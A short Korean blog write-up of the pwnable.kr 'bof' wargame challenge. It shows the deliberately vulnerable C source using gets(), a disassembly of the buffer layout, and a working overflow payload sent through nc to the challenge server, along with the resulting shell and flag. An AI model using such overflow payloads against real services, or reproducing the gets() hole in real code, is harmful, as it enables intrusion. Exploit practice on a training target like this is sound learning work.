Github avatar

GyeongSu Han's Github Pages

Pwnable.kr bof

Mar 26, 2016 · Wargame

bof문제의 파일을 읽어보면 다음과 같다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

func함수에서 gets의 취약점을 이용하여 overflow를 수행하는 문제이다. 이 프로그램을 파악해 보면 다음과 같다.

gdb-peda$ pdisas func
Dump of assembler code for function func:
   0x0000062c <+0>:    push   ebp
   0x0000062d <+1>:    mov    ebp,esp
   0x0000062f <+3>:    sub    esp,0x48
   0x00000632 <+6>:    mov    eax,gs:0x14
   0x00000638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x0000063b <+15>:    xor    eax,eax
   0x0000063d <+17>:    mov    DWORD PTR [esp],0x78c ; "overflow me : "
   0x00000644 <+24>:    call   printf
   0x00000649 <+29>:    lea    eax,[ebp-0x2c] ; char overflowme[32]
   0x0000064c <+32>:    mov    DWORD PTR [esp],eax
   0x0000064f <+35>:    call   gets
   0x00000654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
 ...

먼저 call printf를 수행한다. 그 후 gets를 호출한다. 이 때 ebp - 0x2c의 위치에 overflowme라는 배열이 들어있음을 확인할 수 있다.

그 후 ebp + 0x8의 값과 0xcafebabe를 비교한다. overflow시켜야할 총 데이터는 0x2c + 0x8의 값을 덮어쓰고, 그 후에 원하는 데이터를 덮어야 한다.

값은 리틀엔디안이므로 반대로 넣어주면 된다.

ubuntu@ubuntu:~$ (python -c 'print "A" * 52 + "\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
super.pl
cat flag
daddy, I just pwned a buFFer :)